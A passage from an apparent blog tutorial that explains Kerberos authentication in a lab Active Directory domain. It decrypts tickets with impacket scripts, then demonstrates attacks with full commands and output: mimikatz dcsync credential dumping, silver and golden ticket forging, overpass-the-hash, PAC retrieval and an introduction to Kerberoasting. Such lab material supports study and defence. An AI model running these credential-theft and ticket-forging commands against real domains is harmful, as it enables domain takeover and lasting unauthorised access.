    5. field-1=0x64586df7e4620c197c1889f84d3aa825c4c6060d12633a83bfc9af11f5fdab64
    6.  
    7. field-2=JNKFO.LAB
    8. field-3=Sequence:
    9. field-0=1
    10. field-1=SequenceOf:
    11. win10user
    12.  
    13. field-4=Sequence:
    14. field-0=0
    15. field-1=
    16.  
    17. field-5=20200424142303Z
    18. field-6=20200424142303Z
    19. field-7=20200425002303Z
    20. field-8=20200425142303Z
    21. field-9=SequenceOf:
    22. Sequence:
    23. field-0=1
    24. field-1=0x308202ba308202b6a00402020080a18202ac048202a8050000000000000001000000b801000058000000000000000a0000001c00000010020000000000000c000000500000003002000000000000060000001000000080020000000000000700000014000000900200000000000001100800cccccccca80100000000000000000200629531ad411ad601ffffffffffffff7fffffffffffffff7fce9547d7da10d601ce55b101a411d601ce15a1ccdb31d60112001200040002000000000008000200000000000c0002000000000010000200000000001400020000000000180002004f0000005004000001020000010000001c000200200000000000000000000000000000000000000004000600200002000a000c00240002002800020000000000000000001000000000000000000000000000000000000000000000000000000000000000010000002c000200000000000000000000000000090000000000000009000000770069006e003100300075007300650072000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000102000007000000030000000000000002000000440043000600000000000000050000004a004e004b0046004f000000040000000104000000000005150000002e9b71bded76d1b44c28fa960100000030000200070000000100000001010000000000120100000000000000803d2fdd431ad6011200770069006e003100300075007300650072000000000026001000120038000100000000000000770069006e0031003000750073006500720040006a006e006b0066006f002e006c006100620000004a004e004b0046004f002e004c004100420000000000000010000000f22e9087d4255c88f2db506376ffffffae3c04a84d7d18d4c9282f7a5da45a3400000000
    • Username and Realm: win10user@JNKFO.LAB
    • Session key: The same session key as the key in message A
    • Timestamp and lifetime
    • PAC data

    So, at this step, once the client gets these messages, it decrypts Message A using the key derived from the user’s password and obtains the session key which as you noticed is the same in messages A and B.

     

    15.png

    The client can’t decrypt Message B as it’s encrypted using the TGS key (krbtgt hash) as prementioned, but yet the TGT will be stored in the cache to be used later.
    Now the client needs to get a ticket with which he can access the service he needs, the SMB service with which we were communicating in the 1st place.

    TGS-REQ

    At this point, the client will start asking to deal with the targeted service, not the TGT as we were communicating with.

    So the client sends the TGS-REQ which includes 2 parts, a plaintext part that indicates the service the client needs to access (The SPN)

     

    17-1.png

    Which cifs/win10.jnkfo.lab

    and another 2 encrypted messages

    Message C

    This contains the TGT which was retrieved from the previous step (Message B)

     

    18.png

    Message D

    or the Authenticator, which is an encrypted message generated by the client contains the username and the timestamp

    This message (authenticator) is encrypted using the session key retrieved from Message A

     

    20.png

    The client sends this request to the KDC which do the following

     

    21.png
    1. Extract the TGT from message C
    2. Decrypt the TGT at Message C using the TGS key (krbtgt key which is stored at the KDC), and retrieve the session key, username, and the timestamp from the TGT (message B).
    3. Use the session key to decrypt the authenticator which contains the username and the timestamp.
    4. Compare the username and timestamp from the TGT (1) with the username and timestamp from the Authenticator (2)
    5. Check the TGT lifetime to make sure it’s not expired

    If everything is ok, then the user proved his identity and the authentication process will go on

    TGS-REP

    After validating the client’s identity, the KDC needs to create a TGS, the one which the client will use to authenticate to the service.

    The KDC generates a random key (Service session key) and sends back the TGS-REP which includes 2 messages.

     

    22.png

    Message E

    This part includes a plaintext part which contains the SPN the user is trying to access (cifs/win10.jnkfo.lab), and another part which is encrypted using the service key, which means that the user is unable to decrypt or manipulate it, this includes the following information

    • Service session key
    • Username
    • Timestamp
    • Lifetime
    • PAC information

    as mentioned this part can be decrypted using the service key, for accessing such a service the Kerberos is using the machine key which can be obtained via

    1. imikatz # lsadump::dcsync /user:WIN10$ /domain:jnkfo.lab
    2. [DC] 'jnkfo.lab' will be the domain
    3. [DC] 'DC.jnkfo.lab' will be the DC server
    4. [DC] 'WIN10$' will be the user account
    5.  
    6. Object RDN : WIN10
    7.  
    8. ** SAM ACCOUNT **
    9.  
    10. SAM Username : WIN10$
    11. Account Type : 30000001 ( MACHINE_ACCOUNT )
    12. User Account Control : 00001000 ( WORKSTATION_TRUST_ACCOUNT )
    13. Account expiration :
    14. Password last change : 3/29/2020 7:16:42 PM
    15. Object Security ID : S-1-5-21-3178339118-3033626349-2532976716-1105
    16. Object Relative ID : 1105
    17.  
    18. Credentials:
    19. Hash NTLM: 1ad9c160bd7ab9cb4b7c890c96862305
    20. ntlm- 0: 1ad9c160bd7ab9cb4b7c890c96862305
    21. ntlm- 1: 5e591b183142300b96281c9b75aaaf99
    22. lm - 0: 3c0bd3dace8dc8f6fabcb58db7761cf3
    23. lm - 1: 1c9cbdcb85af1552edd2e70e4379563d
    24.  
    25. Supplemental Credentials:
    26. * Primary:Kerberos-Newer-Keys *
    27. Default Salt : JNKFO.LABhostwin10.jnkfo.lab
    28. Default Iterations : 4096
    29. Credentials
    30. aes256_hmac (4096) : d9060eb5200bf63461b1525277212c2d6cddb66a3eac26807183809e27b41ca8
    31. aes128_hmac (4096) : 1b972a7269a8d841d15bd32577e39a27
    32. des_cbc_md5 (4096) : b0e97c31dc9edf3b

    So this part can be decrypted using

    1. from impacket.krb5.pac import PACTYPE, VALIDATION_INFO
    2. from pyasn1.codec.der import decoder, encoder
    3. from binascii import unhexlify, hexlify
    4. from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum
    5. import struct
    6. cipher = _enctype_table[18]
    7. key = Key(18, unhexlify("d9060eb5200bf63461b1525277212c2d6cddb66a3eac26807183809e27b41ca8"))
    8. mycipher = "f9eec5f1876a6f53fdaa7884b03205c743fc009487b1eb8b68594e13a0321a39dc42d5e5f747184ccd1ffb59b5956ee20b53e4b0256d688ddfb01c00082ec86f14bf276c68f86bf9f9244ea0f2a568b0e278f82190b388294500deb8860f6301e5dc383c0c8869fa396ddae8e18230d153b112396ec4cf692f30374fb53e4279e805e681fc724924d0d1288488b0c2b08fb40987620a335ca4613d919b3733c5270f34151d6d4648e8c20d4d3ad3616cc330fed0b7c734cd77add28beda3efe5a04dc148b611be00117ca500fd3ee3d00efebb62085eff1883d5a40a9b150798439e7e6f6e52b102246a9a94bface1409bdf08063d0bedc6c95b4fc65c89dc9f79e98b9f7909882253cfb2c6029e2f308bb9b5ef69c30593365194ea73d55962198c9b6753540adf472165b73a84ec0b74bc37d02658c807f396036cbf3f868c47e8a9873a0eebdbdb46ddb97063ee4972f8e4d405d62606c4ec43497fe44989d2deb14b5ad22a6425bfb90416ac8a4c28bd2c40097c5a63e18eb4b9e158a3785954f5edb6b994f2ed1e03734d1b5da870dcce547e383d09efd4f13c35a19121d7c6a3bbc4267307b5f9d9c9ab84a4a786bb7affce9055c92ed3e9245ad2070116a8cd25dc0545e8602fba1d726bfd2ee4502e1b3b72f2c4ec555a42494390ea97726cbaa1587ac38bfa5280ebce0429f82076d4fb02dc28273b9cf316c58348feb6b693df5dddc3ff216764daac836aadcfbb708827ba01ae81f24e7ce62b95072d075269ba7c69b1f4d6123389cffdcf6f0289d4d17f53987cdd004bd6f6c222dd3a8beb4e16da02b1651848492c5020a713f293f4366280fb0cd9d0586dd62eb531f5cdeeb08fe607971cc4698aa01013e0729978f794f2eb4009c76c56534a9942c3d29d84d630cccfbe3ef78950a57535df0410889eec9197470f556a21235259bb7a82d2cd59738b7ea2ea87e9dc9fc6e1fdc50dd59df0a1818ceade470c05b4b2e4a1c69aba5b0edc5c2e8bb9f28e16bf1bd0b1b960bfc80f7ebc729c3f83aca48b24d411368a95354db446a6450896969644c8892914b974a066ddce78ecd738f76546153095f70177630b6d8d961a806f2b959be6e2a3c73d430f1dae9b562876ff602966f48d65fd33af396ed31c79ca2a8bf409e04779ec0d978f3624441645f290d11b20f5847ea0211d8377ad61127dcbf02a1fa8ab2b7ed51ed9abf0d484c5ac3315d1b864b55d598f6b705509c37fb88eddc65ddb136c090e285c33968f32e1816e29fbcfa307f0cdef28fa7d6b0d54cf1c525e6be479a1"
    9. jnk = cipher.decrypt(key, 2, unhexlify(mycipher))
    10. dec = decoder.decode(jnk)[0]
    11. print "------------------- Ticket Data ------------------"
    12. print dec

    the output is

    1. Sequence:
    2. field-0=1084293120
    3. field-1=Sequence:
    4. field-0=23
    5. field-1=0x2c0d86037d0014a317d8c5aee4e8d339
    6.  
    7. field-2=JNKFO.LAB
    8. field-3=Sequence:
    9. field-0=1
    10. field-1=SequenceOf:
    11. win10user
    12.  
    13. field-4=Sequence:
    14. field-0=1
    15. field-1=
    16.  
    17. field-5=20200424142303Z
    18. field-6=20200424142303Z
    19. field-7=20200425002303Z
    20. field-8=20200425142303Z
    21. field-9=SequenceOf:
    22. Sequence:
    23. field-0=1
    24. field-1=0x308202ba308202b6a00402020080a18202ac048202a8050000000000000001000000b801000058000000000000000a0000001c00000010020000000000000c000000500000003002000000000000060000001000000080020000000000000700000014000000900200000000000001100800cccccccca80100000000000000000200629531ad411ad601ffffffffffffff7fffffffffffffff7fce9547d7da10d601ce55b101a411d601ce15a1ccdb31d60112001200040002000000000008000200000000000c0002000000000010000200000000001400020000000000180002004f0000005004000001020000010000001c000200200000000000000000000000000000000000000004000600200002000a000c00240002002800020000000000000000001000000000000000000000000000000000000000000000000000000000000000010000002c000200000000000000000000000000090000000000000009000000770069006e003100300075007300650072000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000102000007000000030000000000000002000000440043000600000000000000050000004a004e004b0046004f000000040000000104000000000005150000002e9b71bded76d1b44c28fa960100000030000200070000000100000001010000000000120100000000000000803d2fdd431ad6011200770069006e003100300075007300650072000000000026001000120038000100000000000000770069006e0031003000750073006500720040006a006e006b0066006f002e006c006100620000004a004e004b0046004f002e004c004100420000000000000010000000ad9bd35bb460f8b45d7dd91576ffffff69c616734739a1f74cea493a458977f900000000

    You’ll note

    • Encryption type: 23
    • A service session key: 2c0d86037d0014a317d8c5aee4e8d339
    • Client name:win10user
    • realm: JNKFO.LAB
    • Timestamp and PAC

    Message F

     

    23.png

    This message is encrypted using the session key which is already cached at the client (check AS-REP), so the user can decrypt this one easily and obtain

    • Service session key
    • Timestamp
    • Lifetime
    • Service name

    Note that the Service session key is found in both messages.

    So let’s decrypt that cipher using

    1. from impacket.krb5.pac import PACTYPE, VALIDATION_INFO
    2. from pyasn1.codec.der import decoder, encoder
    3. from binascii import unhexlify, hexlify
    4. from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum
    5. cipher = _enctype_table[18]
    6. key = Key(18, unhexlify("64586df7e4620c197c1889f84d3aa825c4c6060d12633a83bfc9af11f5fdab64"))
    7. mycipher = "7d996b5c8ce08c1f8ab31471dde8d6d892a4f8ff3cec5527f357b425786c05e7f3616f6ea6768c47202924f6a9f86308f3ff873f43e9d9a6715da5cb8ce48b2b8ecfac5e738e03cb0546e870d3d8ed300d5fe009de6e4cea0312f4e1c6ca7ca62c502aedbc45e09bb6617753860e7613be068e27aa993b08619ad6ba148659505ca9443525b63186845ae4a69c383587c742a2cb962ff0d2a8b56edb389987d472d76962d0ddb146f1dfcf198a7f9a96a80c8c39637905dde9e1044774a027f0cc17a553ec8a30e71ecda7f78ef80f20cfec0a5ad5bfdb4560e54fbb9935fd6526b7d6404e43952a07f3fca99bb48a2e0b78fa8b2d2e7008365496a989b573"
    8. jnk = cipher.decrypt(key, 8, unhexlify(mycipher))
    9. dec = decoder.decode(jnk)[0]
    10. print dec

    The output is

    1. Sequence:
    2. field-0=Sequence:
    3. field-0=23
    4. field-1=0x2c0d86037d0014a317d8c5aee4e8d339
    5.  
    6. field-1=SequenceOf:
    7. Sequence:
    8. field-0=0
    9. field-1=20200424142303Z
    10.  
    11. field-2=2035677725
    12. field-3=1084293120
    13. field-4=20200424142303Z
    14. field-5=20200424142303Z
    15. field-6=20200425002303Z
    16. field-7=20200425142303Z
    17. field-8=JNKFO.LAB
    18. field-9=Sequence:
    19. field-0=2
    20. field-1=SequenceOf:
    21. cifs win10.jnkfo.lab
    22.  
    23. field-10=SequenceOf:
    24. Sequence:
    25. field-0=165
    26. field-1=0x1f000000

    Did u notice the 2c0d86037d0014a317d8c5aee4e8d339 ?!

    So right now the client has obtained the service session key and the service ticket, the client is ready to communicate with the service

    Accessing the service (AP-REQ)

    The communication between the client and the KDC is now over, the client needs to access the SMB service.
    It will do so by sending a couple messages to the service

     

    24.png

    1 – The service ticket (Message E) which the client got before

    2 – Message G or Authenticator message

    Which consist of a username and the timestamp, This authenticator is encrypted using the service session key which the client obtained in the previous step from the message F.

    Once the service receives this request, it decrypts the service ticket using its own key
    Extract the service session key, username, and timestamp
    Use the service session key to decrypt the authenticator message and retrieve the username and timestamp

     

    25.png

    The server then

    1. compares username from the authenticator with the username from the service ticket
    2. compares timestamp from the authenticator with the timestamp from the service ticket
    3. check the lifetime to make sure that the service ticket isn’t expired

    If everything is ok, then the authentication process is over, the client is allowed to authenticate to the service as long as the service ticket isn’t expired.

    Authorization

    As mentioned earlier, the whole process is about authentication, not authorization.
    You will notice that there are no privileges checks that took place at all during the entire process, as this will depend on the service or the local machine’s policies itself.
    For that matter, the PAC part is also attached to the ticket.
    It includes information about the user group memberships among other information.
    We can read the PAC attached to the service ticket using

    1. from impacket.krb5.pac import PACTYPE, VALIDATION_INFO
    2. from pyasn1.codec.der import decoder, encoder
    3. from binascii import unhexlify, hexlify
    4. from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum
    5. import struct
    6. cipher = _enctype_table[18]
    7. key = Key(18, unhexlify("d9060eb5200bf63461b1525277212c2d6cddb66a3eac26807183809e27b41ca8"))
    8. mycipher = "f9eec5f1876a6f53fdaa7884b03205c743fc009487b1eb8b68594e13a0321a39dc42d5e5f747184ccd1ffb59b5956ee20b53e4b0256d688ddfb01c00082ec86f14bf276c68f86bf9f9244ea0f2a568b0e278f82190b388294500deb8860f6301e5dc383c0c8869fa396ddae8e18230d153b112396ec4cf692f30374fb53e4279e805e681fc724924d0d1288488b0c2b08fb40987620a335ca4613d919b3733c5270f34151d6d4648e8c20d4d3ad3616cc330fed0b7c734cd77add28beda3efe5a04dc148b611be00117ca500fd3ee3d00efebb62085eff1883d5a40a9b150798439e7e6f6e52b102246a9a94bface1409bdf08063d0bedc6c95b4fc65c89dc9f79e98b9f7909882253cfb2c6029e2f308bb9b5ef69c30593365194ea73d55962198c9b6753540adf472165b73a84ec0b74bc37d02658c807f396036cbf3f868c47e8a9873a0eebdbdb46ddb97063ee4972f8e4d405d62606c4ec43497fe44989d2deb14b5ad22a6425bfb90416ac8a4c28bd2c40097c5a63e18eb4b9e158a3785954f5edb6b994f2ed1e03734d1b5da870dcce547e383d09efd4f13c35a19121d7c6a3bbc4267307b5f9d9c9ab84a4a786bb7affce9055c92ed3e9245ad2070116a8cd25dc0545e8602fba1d726bfd2ee4502e1b3b72f2c4ec555a42494390ea97726cbaa1587ac38bfa5280ebce0429f82076d4fb02dc28273b9cf316c58348feb6b693df5dddc3ff216764daac836aadcfbb708827ba01ae81f24e7ce62b95072d075269ba7c69b1f4d6123389cffdcf6f0289d4d17f53987cdd004bd6f6c222dd3a8beb4e16da02b1651848492c5020a713f293f4366280fb0cd9d0586dd62eb531f5cdeeb08fe607971cc4698aa01013e0729978f794f2eb4009c76c56534a9942c3d29d84d630cccfbe3ef78950a57535df0410889eec9197470f556a21235259bb7a82d2cd59738b7ea2ea87e9dc9fc6e1fdc50dd59df0a1818ceade470c05b4b2e4a1c69aba5b0edc5c2e8bb9f28e16bf1bd0b1b960bfc80f7ebc729c3f83aca48b24d411368a95354db446a6450896969644c8892914b974a066ddce78ecd738f76546153095f70177630b6d8d961a806f2b959be6e2a3c73d430f1dae9b562876ff602966f48d65fd33af396ed31c79ca2a8bf409e04779ec0d978f3624441645f290d11b20f5847ea0211d8377ad61127dcbf02a1fa8ab2b7ed51ed9abf0d484c5ac3315d1b864b55d598f6b705509c37fb88eddc65ddb136c090e285c33968f32e1816e29fbcfa307f0cdef28fa7d6b0d54cf1c525e6be479a1"
    9. jnk = cipher.decrypt(key, 2, unhexlify(mycipher))
    10. dec = decoder.decode(jnk)[0]
    11. print "------------------- Ticket Data ------------------"
    12. print dec
    13.  
    14. pacData = dec['field-9'][0]['field-1']
    15. decAuthData = decoder.decode(pacData)[0][0]['field-1']
    16. pacBuffers = PACTYPE(str(decAuthData))
    17. pacBuffer = pacBuffers['Buffers']
    18. pacBufferHex = hexlify(pacBuffer)
    19. dword = 8
    20. buff = []
    21. for i in range(0,32,dword):
    22. buffstr = pacBufferHex[i:i+dword]
    23. buffint = int(buffstr,16)
    24. buffstr = hexlify(struct.pack('<L',buffint))
    25. buffint = int(buffstr,16)
    26. buff.append(buffint)
    27.  
    28. pacInfoList = buff
    29. authDataLength = pacInfoList[1]
    30. authDataOffset = pacInfoList[2]
    31. authDataEnd = (authDataLength * 2) - 40
    32. offsetStart = 24 + authDataOffset*2
    33. authDataHex = pacBufferHex[offsetStart:offsetStart+authDataEnd]
    34. print "------------------- PAC Data ------------------"
    35. finalValidationInfo = VALIDATION_INFO()
    36. finalValidationInfo.fromStringReferents(unhexlify(authDataHex))
    37. finalValidationInfo.dump()

    Output is

    1. VALIDATION_INFO
    2. CommonHeader:
    3. Version: 1
    4. Endianness: 16
    5. CommonHeaderLength: 8
    6. Filler: 3435973836
    7. PrivateHeader:
    8. ObjectBufferLength: 0
    9. Filler: 3435973836
    10. Data:
    11. LogonTime:
    12. dwLowDateTime: 2905707874
    13. dwHighDateTime: 30808641
    14. LogoffTime:
    15. dwLowDateTime: 4294967295
    16. dwHighDateTime: 2147483647
    17. KickOffTime:
    18. dwLowDateTime: 4294967295
    19. dwHighDateTime: 2147483647
    20. PasswordLastSet:
    21. dwLowDateTime: 3611792846
    22. dwHighDateTime: 30806234
    23. PasswordCanChange:
    24. dwLowDateTime: 28399054
    25. dwHighDateTime: 30806436
    26. PasswordMustChange:
    27. dwLowDateTime: 3433108942
    28. dwHighDateTime: 30814683
    29. EffectiveName: u'win10user'
    30. FullName: u''
    31. LogonScript: u''
    32. ProfilePath: u''
    33. HomeDirectory: u''
    34. HomeDirectoryDrive: u''
    35. LogonCount: 79
    36. BadPasswordCount: 0
    37. UserId: 1104
    38. PrimaryGroupId: 513
    39. GroupCount: 1
    40. GroupIds:
    41. [
    42.  
    43. RelativeId: 513
    44. Attributes: 7 ,
    45. ]
    46. UserFlags: 32
    47. UserSessionKey:
    48. Data: '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    49. LogonServer: u'DC'
    50. LogonDomainName: u'JNKFO'
    51. LogonDomainId:
    52. Revision: 1
    53. SubAuthorityCount: 4
    54. IdentifierAuthority: '\x00\x00\x00\x00\x00\x05'
    55. SubAuthority:
    56. [
    57. 21,
    58. 3178339118,
    59. 3033626349,
    60. 2532976716,
    61. ]
    62. LMKey: '\x00\x00\x00\x00\x00\x00\x00\x00'
    63. UserAccountControl: 16
    64. SubAuthStatus: 0
    65. LastSuccessfulILogon:
    66. dwLowDateTime: 0
    67. dwHighDateTime: 0
    68. LastFailedILogon:
    69. dwLowDateTime: 0
    70. dwHighDateTime: 0
    71. FailedILogonCount: 0
    72. Reserved3: 0
    73. SidCount: 1
    74. ExtraSids:
    75. [
    76.  
    77. Sid:
    78. Revision: 1
    79. SubAuthorityCount: 1
    80. IdentifierAuthority: '\x00\x00\x00\x00\x00\x12'
    81. SubAuthority:
    82. [
    83. 1,
    84. ]
    85. Attributes: 7 ,
    86. ]
    87. ResourceGroupDomainSid: NULL
    88. ResourceGroupCount: 0
    89. ResourceGroupIds: NULL

    It’s up to the service to use this information to validate the user’s privileges, impersonate, or delegate the logged-on user.
    As you also noticed earlier, the PAC can be found only on the TGT and the TGS, mean that in the 1st case it’s encrypted with the krbtgt key, and the other it’s encrypted using the service key.
    So there is no way for the user to manipulate the PAC without getting any of these couple keys, this will come handy later.
    PAC is rarely required to validate the TGS data.
    if it was used for validation, an extra request is made by the server to the KDC to validate the ticket’s info.

    You can obtain any user’s PAC using
    python getPac.py -targetUser administrator jnkfo.lab/win10user:”P@ssw0rd”

     

     

    or using Kekeo

    1. tgt::ask /user:win10user@jnkfo.lab /password:P@ssw0rd
    2. tgs::s4u /tgt:TGT_win10user@jnkfo.lab@JNKFO.LAB_krbtgt~jnkfo.lab@JNKFO.LAB.kirbi /user:administrator /pac

    Kerberos attacks

    Silver ticket

    If you noticed the Kerberos authentication flow, you should have noticed that we split it into 2 parts summarized in the following image

     

    2020-04-28_20-26-20-copy.jpg

    The 1st part, Client <—> KDC
    This part resulted in the Client has a copy of the TGS which is encrypted using the service’s key along with the plaintext
    • Service session key
    • Timestamp
    • Lifetime
    • Service name

    The 2nd part, Client <–> Service, This is the more interesting part for the silver ticket.
    To authenticate to the service, the client sends a copy of the TGS which is encrypted using the service key as prementioned (Message E) and contains

    • Service session key
    • Username
    • Timestamp
    • Lifetime
    • PAC information

    and the authenticator message (message G) which is encrypted using the Service session key and contains

    • username
    • Timestamp

    So the actual service authentication part starts at step 5, and all it’s needed is the service secret key.
    if you have a service secret key, you may just create a random session key, add it to your own Service ticket, encrypt it with the service’s secret, and send it to the service while authenticating.
    As all the service will do is just trying to decrypt that ticket with its own key, which will work because it’s the same key you used while encrypting the ticket, then use the session key (which you generated) to decrypt the authenticator message as prementioned!
    That’s how easy it’s
    A demo will make it easier, I have win10 machine key, will use it to create a silver ticket to access it without even making a single connection to the KDC!

     

    27.png

    This is the current tickets in that session, and am getting access denied whenever accessing SMB over my machine.

    To create ticket I will use mimikatz

    kerberos::golden /user:administrator /domain:jnkfo.lab /sid:S-1-5-21-3178339118-3033626349-2532976716 /target:win10.jnkfo.lab /rc4:1ad9c160bd7ab9cb4b7c890c96862305 /service:cifs

    • user: Username, this can be any user, even invalid one will work.
    • domain: The domain name
    • sid: Domain sid, can be obtained via many methods, whoami /user is one.
    • target: Target machine
    • rc4: NTLM hash of the target service
    • Service: The service name, cifs as am accessing filesharing service

    Executing this will result in

     

    28.png

    and no Kerberos packets are sent to the KDC, as you don’t need to talk to KDC at all, You got your own TGS and that’s all.

     

    29.png

    So you’ll find that only the ticket and authenticator were sent directly to the target machine.

    If you checked the ticket’s PAC you’ll find

    1. VALIDATION_INFO
    2. CommonHeader:
    3. Version: 1
    4. Endianness: 16
    5. CommonHeaderLength: 8
    6. Filler: 3435973836
    7. PrivateHeader:
    8. ObjectBufferLength: 0
    9. Filler: 3435973836
    10. Data:
    11. LogonTime:
    12. dwLowDateTime: 3283888000
    13. dwHighDateTime: 30809500
    14. LogoffTime:
    15. dwLowDateTime: 4294967295
    16. dwHighDateTime: 2147483647
    17. KickOffTime:
    18. dwLowDateTime: 4294967295
    19. dwHighDateTime: 2147483647
    20. PasswordLastSet:
    21. dwLowDateTime: 4294967295
    22. dwHighDateTime: 2147483647
    23. PasswordCanChange:
    24. dwLowDateTime: 4294967295
    25. dwHighDateTime: 2147483647
    26. PasswordMustChange:
    27. dwLowDateTime: 4294967295
    28. dwHighDateTime: 2147483647
    29. EffectiveName: u'administrator'
    30. FullName: NULL
    31. LogonScript: NULL
    32. ProfilePath: NULL
    33. HomeDirectory: NULL
    34. HomeDirectoryDrive: NULL
    35. LogonCount: 0
    36. BadPasswordCount: 0
    37. UserId: 500
    38. PrimaryGroupId: 513
    39. GroupCount: 5
    40. GroupIds:
    41. [
    42.  
    43. RelativeId: 513
    44. Attributes: 7 ,
    45.  
    46. RelativeId: 512
    47. Attributes: 7 ,
    48.  
    49. RelativeId: 520
    50. Attributes: 7 ,
    51.  
    52. RelativeId: 518
    53. Attributes: 7 ,
    54.  
    55. RelativeId: 519
    56. Attributes: 7 ,
    57. ]
    58. UserFlags: 0
    59. UserSessionKey:
    60. Data: '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    61. LogonServer: NULL
    62. LogonDomainName: u'JNKFO'
    63. LogonDomainId:
    64. Revision: 1
    65. SubAuthorityCount: 4
    66. IdentifierAuthority: '\x00\x00\x00\x00\x00\x05'
    67. SubAuthority:
    68. [
    69. 21,
    70. 3178339118,
    71. 3033626349,
    72. 2532976716,
    73. ]
    74. LMKey: '\x00\x00\x00\x00\x00\x00\x00\x00'
    75. UserAccountControl: 528
    76. SubAuthStatus: 0
    77. LastSuccessfulILogon:
    78. dwLowDateTime: 0
    79. dwHighDateTime: 0
    80. LastFailedILogon:
    81. dwLowDateTime: 0
    82. dwHighDateTime: 0
    83. FailedILogonCount: 0
    84. Reserved3: 0
    85. SidCount: 0
    86. ExtraSids: NULL
    87. ResourceGroupDomainSid: NULL
    88. ResourceGroupCount: 0
    89. ResourceGroupIds: NULL #

    The userid: 500, which is the default local administrator account’s id, and the domain admins group id 512.
    So basically the ticket will tell the service that you have an admin’s account over the machine, no matter what username you used.

    Golden ticket

    Back to the same figure

     

    2020-04-28_20-26-20-copy.jpg

    The golden ticket is all about the TGT, if you remember, the TGT (Message B) is the info needed by the KDC to issue you the service ticket you need.
    If a user with a valid TGT asks to access any service, KDC ill grant him that access.

    Golden ticket attack takes part in step 3 (TGS-REQ).
    The TGT is encrypted using the KRBTGT account, KDC will decrypt this and issue the service ticket with the same group memberships and validation info found in the TGT.
    So, if you have the KRBTGT hash, you can forge your own TGT which includes the PAC data with any group membership you want! including domain admins!
    sending this to the KDC will result in a service ticket with a domain admin group membership inside!

    let’s give this a try using mimikatz

    kerberos::golden /domain:jnkfo.lab /sid:S-1-5-21-3178339118-3033626349-2532976716 /rc4:53de9e86989349da8d705da4e238dede /user:invalidusername /ticket:golden.kirbi /ptt

    No new options here just removed the /service option used in the silver ticket.

    I will try to dir the c$ on the domain controller which requires a domain admin to do so.

     

    30.png

    You will notice that the TGS-REQ and TGS-REP messages were sent and received to and from the KDC before moving to the target machine, and that’s a difference between the silver and golden ticket
    in the golden ticket you’re not restricted to a single service, you got the KRBTGT, you can create your own TGT, so you can create a TGS for whatever service you want

     

    31.png

    If we viewed the ticket’s contents we will find the following PAC inside

    1. CommonHeader:
    2. Version: 1
    3. Endianness: 16
    4. CommonHeaderLength: 8
    5. Filler: 3435973836
    6. PrivateHeader:
    7. ObjectBufferLength: 0
    8. Filler: 3435973836
    9. Data:
    10. LogonTime:
    11. dwLowDateTime: 2159116928
    12. dwHighDateTime: 30809507
    13. LogoffTime:
    14. dwLowDateTime: 4294967295
    15. dwHighDateTime: 2147483647
    16. KickOffTime:
    17. dwLowDateTime: 4294967295
    18. dwHighDateTime: 2147483647
    19. PasswordLastSet:
    20. dwLowDateTime: 4294967295
    21. dwHighDateTime: 2147483647
    22. PasswordCanChange:
    23. dwLowDateTime: 4294967295
    24. dwHighDateTime: 2147483647
    25. PasswordMustChange:
    26. dwLowDateTime: 4294967295
    27. dwHighDateTime: 2147483647
    28. EffectiveName: u'invalidusername'
    29. FullName: NULL
    30. LogonScript: NULL
    31. ProfilePath: NULL
    32. HomeDirectory: NULL
    33. HomeDirectoryDrive: NULL
    34. LogonCount: 0
    35. BadPasswordCount: 0
    36. UserId: 500
    37. PrimaryGroupId: 513
    38. GroupCount: 5
    39. GroupIds:
    40. [
    41.  
    42. RelativeId: 513
    43. Attributes: 7 ,
    44.  
    45. RelativeId: 512
    46. Attributes: 7 ,
    47.  
    48. RelativeId: 520
    49. Attributes: 7 ,
    50.  
    51. RelativeId: 518
    52. Attributes: 7 ,
    53.  
    54. RelativeId: 519
    55. Attributes: 7 ,
    56. ]
    57. UserFlags: 0
    58. UserSessionKey:
    59. Data: '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    60. LogonServer: NULL
    61. LogonDomainName: u'JNKFO'
    62. LogonDomainId:
    63. Revision: 1
    64. SubAuthorityCount: 4
    65. IdentifierAuthority: '\x00\x00\x00\x00\x00\x05'
    66. SubAuthority:
    67. [
    68. 21,
    69. 3178339118,
    70. 3033626349,
    71. 2532976716,
    72. ]
    73. LMKey: '\x00\x00\x00\x00\x00\x00\x00\x00'
    74. UserAccountControl: 528
    75. SubAuthStatus: 0
    76. LastSuccessfulILogon:
    77. dwLowDateTime: 0
    78. dwHighDateTime: 0
    79. LastFailedILogon:
    80. dwLowDateTime: 0
    81. dwHighDateTime: 0
    82. FailedILogonCount: 0
    83. Reserved3: 0
    84. SidCount: 0
    85. ExtraSids: NULL
    86. ResourceGroupDomainSid: NULL
    87. ResourceGroupCount: 0
    88. ResourceGroupIds: NULL #

    Note the userid: 500, which is the default local administrator account, and the domain admins group id 512.

    KDC will send this info with the TGS to the client, who will send in turn to the service while accessing.

    Now by knowing about the timestamp and the lifetime of the ticket along with the info that KRBTGT account pasword isn’t usually changed frequently in AD environments, can you figure out why the golden ticket is considered as long term persistence method?

    Overpass the hash

    In some cases, if you got the user’s hash you may not be able to crack it or use it in pass the hash attack for many reasons.
    example: disabled ntlm authentication

     

    34.png

    In this case, if you used the pass the hash technique
    sekurlsa::pth /user:win10user /domain:jnkfo.lab /ntlm:e19ccf75ee54e06b06a5907af13cef42
    and tried accessing the machine directly, You’ll fail

     

    32.png

    But knowing how Kerberos works, you know that by having the user’s key you may just go through the whole Kerberos authentication process.
    Without bothering using the NTLM challenge-response auth.
    The attack was implemented in mimikatz already and can be used also via impacket examples
    To use it via mimikatz, all you will need to do is connecting to the target’s hostname instead of the direct IP, this will force Windows to use Kerberos instead of NTLM auth (Remember?!!!).

     

    33.png

    Obviously, overpass the hash take place since the AS-REQ step.
    That’s how easy it’s

    Kerbroasting

    I mentioned earlier, that Kerberos authentication itself is all about authentication, not authorization
    If you got a valid domain user, you may just ask the KDC to issue you a valid TGS for any service.
    Knowing the fact that SPN attributes can be set to a specific username, and that the TGS is encrypted using service’s key (user’s key in that case)
    We can issue a TGS ticket on our own machine, dump the ticket and start an offline bruteforce attack against it to retrieve the plaintext password for that user (service account)!

    This has been discussed already at the following blog post

